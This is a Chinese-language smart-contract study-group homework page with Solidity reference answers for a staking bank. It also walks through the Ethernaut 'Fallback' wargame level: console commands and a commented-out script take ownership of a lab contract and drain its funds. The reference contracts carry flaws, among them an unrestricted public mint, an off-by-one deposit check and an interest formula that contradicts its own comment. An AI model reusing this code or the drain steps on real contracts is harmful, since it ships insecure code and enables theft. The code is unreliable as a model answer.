# 第三次實作練習|智能合約與 Dapp 實戰讀書會
> 已公佈實作參考解答
[TOC]
## 作業說明
第三次讀書會實作主題是 DeFi ,共分為「建立一個銀行 Bank」的基本題及進階題 Ethernaut 讓大家練習
繳交作業必須完成 ==Bank 基本題==,其餘兩題可做可不做,請<u>**在 12/2 (五) 23:59前**</u>繳交
## Bank 基本題:建立一個支援單代幣的銀行
> 在 Web3 世界人人都可以當銀行家!我們想開張一間去中心化金融中心,簡易小而美的銀行
- 使用者可以將我們發行的 Staking Token (ERC20代幣)存入銀行
- 使用者執行定存,會開始計算 Reward 利息回饋
- 使用者解除定存(withdraw),獲得 Reward 利息回饋
部署二個合約,
1. 部署一個 ==Staking Token ERC20== 的智能合約
> 提示:可透過 [Openzeppelin Wizard](https://docs.openzeppelin.com/contracts/4.x/wizard) 快速產生 ERC20
2. 部署一個 ==Bank== 銀行合約,並擁有以下功能
- Deposit 定存:實作 deposit function,可以將 Staking Token 存入 Bank 合約
- Withdraw 解除定存並提款,實作 withdraw function
- TimeLock 固定鎖倉期
3. 部署方式:Remix JavaScript VM 部署合約
### 參考解答
`StakingToken.sol`
```solidity=
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.16;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
contract testERC20 is ERC20 {
constructor() ERC20("testERC20", "tERC") {
// _mint(msg.sender, 10 ** (9 + 18));
_mint(msg.sender, 1_000_000_000 * 1e18);
}
}
```
`BankBasic.sol`
```solidity=
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.16;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
/*
建立一個 Bank 銀行
在 web3 世界人人都可以當銀行家!我們想開張一間去中心化金融中心,簡易小而美的銀行
使用者可以將我們發行的 Staking Token (ERC20代幣)存入銀行
使用者執行定存,會開始計算 Reward 利息回饋
使用者解除定存(withdraw),獲得 Reward 利息回饋
Deposit 定存:實作 deposit function,可以將 Staking Token 存入 Bank 合約
Withdraw 解除定存並提款,實作 withdraw function
TimeLock 固定鎖倉期
*/
contract BasicBank {
// 質押 Staking Token 代幣
IERC20 public stakingToken;
// 全部質押數量
uint256 public totalStakedToken;
// 個人質押數量
mapping(address => uint256) public balanceOf;
// 鎖倉時間
uint256 public withdrawDeadline = 10 seconds;
// 利息獎勵
// 10 ** -18 per second
uint256 public rewardRate = 1;
// 個人總利息
mapping(address => uint256) public rewardOf;
// 定存資料
struct Deposit {
uint256 amount; // 定存多少金額
uint256 startTime; // 定存開始時間
uint256 endTime; // 定存結束時間
}
mapping(address => Deposit[]) public depositOf;
constructor(IERC20 _stakingToken) {
stakingToken = _stakingToken;
}
// update total token amount in the contract
function updateTotalStakenToken() internal {
totalStakedToken = stakingToken.balanceOf(address(this));
}
// 存款
function deposit(uint256 _amount) external {
// 1) 將 stakingToken 移轉到 BasicBank 合約
stakingToken.transferFrom(msg.sender, address(this), _amount);
// 2) 紀錄存款數量
totalStakedToken += _amount;
balanceOf[msg.sender] += _amount;
// 3) 定存資訊
depositOf[msg.sender].push(
Deposit({
amount: _amount,
startTime: block.timestamp,
endTime: block.timestamp + withdrawDeadline
})
);
}
// 解除定存
function withdraw(uint256 _depositId) external {
// 檢查:餘額需要大於 0
require(balanceOf[msg.sender] > 0, "You have no balance to withdraw");
Deposit[] storage deposits = depositOf[msg.sender];
// 檢查條件: 必須超過鎖倉期才可以提領
require(block.timestamp >= deposits[_depositId].endTime, "Withdrawal Period is not reached yet");
// 檢查條件:定存ID 是否存在
require(_depositId <= deposits.length, "Deposit ID not exist!!");
// 這次提領的金額 =本金 + 利息
uint256 currentReward = deposits[_depositId].amount + getInterest(_depositId);
updateTotalStakenToken();
// 檢查條件:目前質押在合約中的代幣數量,要大於這次提領的金額(本金+利息)
require(totalStakedToken >= currentReward, "Tokens in the pool is insufficient for the withdrawal");
// 1) 獲得利息獎勵
rewardOf[msg.sender] += currentReward;
// 2) 提款
stakingToken.transfer(msg.sender, currentReward);
totalStakedToken -= currentReward;
balanceOf[msg.sender] -= deposits[_depositId].amount;
// 3) 把此筆定存移除,並更新最後一筆定存的 ID 至目前定存
deposits[_depositId] = deposits[deposits.length - 1];
deposits.pop();
}
// 計算利息
function getInterest(uint256 _depositId) public view returns (uint256) {
uint256 start = depositOf[msg.sender][_depositId].startTime;
uint256 _amount = depositOf[msg.sender][_depositId].amount;
return (block.timestamp - start) * rewardRate * _amount;
}
// 使用者旗下的所有定存利息
function getAllInterest() public view returns (uint256){
uint256 N = depositOf[msg.sender].length;
uint256 allRewards;
for (uint256 i = 0; i < N; i++) {
allRewards += getInterest(i);
}
return allRewards;
}
}
```
### 細節補充:怎麼表示小數點
> 利息計算時,免不了要進行浮點數的運算,Solidity 為了維持小數的精度所以沒有 float, double 這類的資料型別,皆是以整數來表示小數點。
- 查看 token 的基礎單位([Openzeppelin的 ERC20合約](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/ERC20.sol)),預設是 $10^{18}$
```solidity=
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
```
- 若想要發 1,000,000,000 ($10^9$) 個 token,在 `mint` 時的數量要寫成 `10 ** (18 + 9)`

- 實際看到的發行總量並不會是 $10^{27}$ 而是 $10^{9}$

### 細節補充:使用 IERC20 與 ERC20 合約互動
https://docs.openzeppelin.com/contracts/4.x/api/token/erc20#IERC20
### 細節補充:用 Struct 記錄每一筆定存
新增結構體陣列,記錄每筆定存的資訊
```solidity=
struct Deposit {
uint256 amount;
uint256 startTime;
uint256 endTime;
}
mapping(address => Deposit[]) public depositOf;
/*
depositOf[msg.sender] = [
[amount, startTime, endTime], // 第0筆定存
[amount, startTime, endTime], // 第1筆定存
[amount, startTime, endTime] // 第2筆定存
]
*/
```
### 細節補充:使用 transferFrom + approve 來提升安全性
- `approve`:Token的擁有者,可以將權限委託給 Bank,允許他們從所有者的餘額中花費特定金額
- `transferFrom`:允許Token擁有者,將控制權委託給另一個地址。它通常用於給合約來分配Token、Staking等使用
- `transferFrom` 通常與 `approve` 結合使用

## Bank 進階題:建立一個支援多代幣的銀行
進階題可不做,但需繳交基本作業
1. 部署兩個 ERC20 Token 的智能合約,分別是 StakingToken、RewardsToken
2. 部署 AdvanceBank 智能合約,並擁有以下功能
- Deposit 定存
- Reward(回饋另一個 RewardsToken)
- TimeLock 根據鎖倉期給予不同回饋加乘
3. 合約部署在 Goerli Network,並開源 Verify
### 參考解答
`StakingTokenAndRewardToken.sol`
```solidity=
// SPDX-License-Identifier: MIT
pragma solidity 0.8.16;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
contract StakingToken is ERC20 {
constructor() ERC20("Staking Token", "ST") {
mint(msg.sender, 50000);
}
function mint(address to, uint256 amount) public {
_mint(to, amount);
}
}
contract RewardToken is ERC20 {
constructor() ERC20("Reward Token", "ST") {
_mint(msg.sender, 100 * 1e18);
}
}
```
`BankAdvanced.sol`
```solidity=
// SPDX-License-Identifier: MIT
pragma solidity 0.8.16;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
/*
建立一個 Bank 銀行
在 web3 世界人人都可以當銀行家!我們想開張一間去中心化金融中心,簡易小而美的銀行
使用者可以將我們發行的 Staking Token (ERC20代幣)存入銀行
使用者執行定存,會開始計算 Reward 利息回饋
使用者解除定存(withdraw),獲得 Reward 利息回饋
Deposit 定存:實作 deposit function,可以將 Staking Token 存入 Bank 合約
Withdraw 解除定存並提款,實作 withdraw function
TimeLock 固定鎖倉期
*/
contract AdvanceBank {
// 質押 Staking Token代幣
IERC20 public stakingToken;
// 利息獎勵代幣
IERC20 public rewardToken;
// 全部質押數量
uint256 public totalSupply;
// 個人質押數量
mapping(address => uint256) public balanceOf;
// 鎖倉時間
uint256 public withdrawDeadline = 10 seconds;
// 利息獎勵
uint256 public rewardRate = 1;
// 個人總利息
mapping(address => uint256) public rewardOf;
// 定存資料
struct Deposit {
uint256 amount; // 定存多少金額
uint256 startTime; // 定存開始時間
uint256 endTime; // 定存結束時間
}
mapping(address => Deposit[]) public depositOf;
// 紀錄每個帳戶,操作 deposit, withdraw, getReward 最後更新的時間
mapping(address => uint256) public lastUpdateTime;
constructor(IERC20 _stakingToken, IERC20 _rewardToken) {
stakingToken = _stakingToken;
rewardToken = _rewardToken;
}
event WithdrawReward(address _account, uint256 _reward);
// 計算利息,公式計算
function earned() public view returns (uint256) {
// 經過多少時間(秒)
uint256 duration = block.timestamp - lastUpdateTime[msg.sender];
// (你擁有多少顆 StakingToken * 時間 * rewardRate) + 目前獎勵利息有多少
return balanceOf[msg.sender] * duration * rewardRate + rewardOf[msg.sender];
}
// 每次存提款、提領利息,都會呼叫他
modifier updateReward() {
// 1) 更新該帳戶的獎勵
rewardOf[msg.sender] = earned();
// 2) 更新最後的時間
lastUpdateTime[msg.sender] = block.timestamp;
_;
}
// 存款
function deposit(uint256 _amount) external updateReward {
// 1) 將 stakingToken 移轉到 BasicBank 合約
stakingToken.transferFrom(msg.sender, address(this), _amount);
// 2) 紀錄存款數量
totalSupply += _amount;
balanceOf[msg.sender] += _amount;
// 3) 定存資訊
depositOf[msg.sender].push(
Deposit({
amount: _amount,
startTime: block.timestamp,
endTime: block.timestamp + withdrawDeadline
})
);
}
// 解除定存
function withdraw(uint256 _depositId) external updateReward {
// 檢查:餘額需要大於 0
require(balanceOf[msg.sender] > 0, "You have no balance to withdraw");
Deposit[] storage deposits = depositOf[msg.sender];
// 檢查條件: 必須超過鎖倉期才可以提領
require(block.timestamp >= deposits[_depositId].endTime, "Withdrawal Period is not reached yet");
// 檢查條件:定存ID 是否存在
require(_depositId <= deposits.length, "Deposit ID not exist!!");
uint256 amount = deposits[_depositId].amount;
// 1) 獲得利息獎勵
// rewardOf[msg.sender] += getReward(_depositId);
// 2) 提款
stakingToken.transfer(msg.sender, amount);
totalSupply -= amount;
balanceOf[msg.sender] -= amount;
// 3) 移除此筆定存,移除陣列 deposits
// 陣列往左移
deposits[_depositId] = deposits[deposits.length - 1];
deposits.pop();
}
// 利息 rewardToken 轉移給使用者
function getReward(uint256 _depositId) external updateReward {
require(rewardOf[msg.sender] > 0, "You have no reward! sorry!");
// 1) 取得目前的總利息,存進變數 reward
uint256 reward = rewardOf[msg.sender];
// 2) reward 將利息歸 0
rewardOf[msg.sender] = 0;
// 3) 利息用 rewardToken 方式獎勵給 User
// 需要將 rewardToken 存到銀行,銀行才可以發放獎勵
rewardToken.transfer(msg.sender, reward);
// 4) 紀錄事件,使用者已經提領利息
emit WithdrawReward(msg.sender, reward);
}
}
```
### 細節補充:設計利息公式
參考版為 $\text{利息 } reward = (\text{現在時間 - 上次更新時間}) * rewardRate * \text{存入前的 } token + \text{當前 }reward$
## Ethernaut 智能合約攻防戰
> 有興趣者可以試著挑戰前 10 題
### 事前準備
- 開啟 Ethernaut:https://ethernaut.openzeppelin.com/
- Ethernaut 是用 web3.js 做為底層,查詢用法:https://web3js.readthedocs.io/en/v1.7.5/web3-eth.html
### 範例說明:第二題 Fallback
- 遊戲目標:
- 獲取合約所有權,成為 Owner
- 把合約裡的錢偷走
- 關卡用意:
- 學會ether進出合約的基本知識
- 使用fallback方法
- Ownable的特殊權限
#### 觀察思路
- 仔細觀察 `fallback.sol`的內容,會發現有兩個地方可以拿到 owner 權限
- contribute Fn:需要把 1000 ETH 打到 contribute function,這條路有點太奢侈了
- receive() 剩下這條路可以走
#### 接收 ETH 幫手:receive()
`receive()` 是用來接收 ETH,一個合約只能有唯一一個 `receive` ,它也走特例,不需要 `function` 關鍵字,但必須有 `external`, `payable`
```solidity=
receive() external payable {
// ...
}
```
- 當合約收到 Eth時,會觸發 receive
#### 開始解題
仔細看 receive 可以得知
```solidity=
receive() external payable {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
```
- contributions[msg.sender] 錢需要 > 0
- 轉錢給合約 msg.value > 0
以上兩個條件達成,就可以成為 owner
呼叫 contributions 讓 contributions[msg.sender]>0,傳送 0.00001 ether
```javascript=
await contract.contribute({ value: toWei("0.0001")})
```
接著使用 Metamask 轉一筆錢到合約地址就會觸發 receive(),獲得 owner 權限
```javascript=
contract.address
> '0xe5eBf7364306e0eca2CAE5F0D028650cd158d776'
// Metamask 轉任意的錢
await contract.contribute({ value: 1 })
await contract.sendTransaction({value: 1})
await contract.owner() // 查詢 Owner 是誰
> '0x977e01DDd064e404227eea9E30a5a36ABFDeF93D'
// 與 player 地址相同,表示已成為 owner。確認成為 owner後,呼叫合約的 withdraw
player // 你的錢包地址
> '0x977e01DDd064e404227eea9E30a5a36ABFDeF93D'
await contract.withdraw();
// 確認合約錢餘額
await getBalance(contract.address);
```
交易完成後,便可以 Submit 提交答案囉,成功後會看到控制台出現下面訊息,表示通過

- [補充:Solidity 接收ETH receive和fallback](https://mirror.xyz/ninjak.eth/EroVZqHW1lfJFai3umiu4tb9r1ZbDVPOYC-puaZklAw)
<!-- #### Foundry
```solidity=
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "forge-std/Script.sol";
import "../instances/Ilevel01.sol";
contract POC is Script {
Fallback level1 = Fallback(關卡地址);
function run() external {
vm.startBroadcast();
level1.contribute{value: 1 wei}();
level1.getContribution();
address(level1).call{value: 1 wei}("");
level1.owner();
level1.withdraw();
vm.stopBroadcast();
}
}
``` -->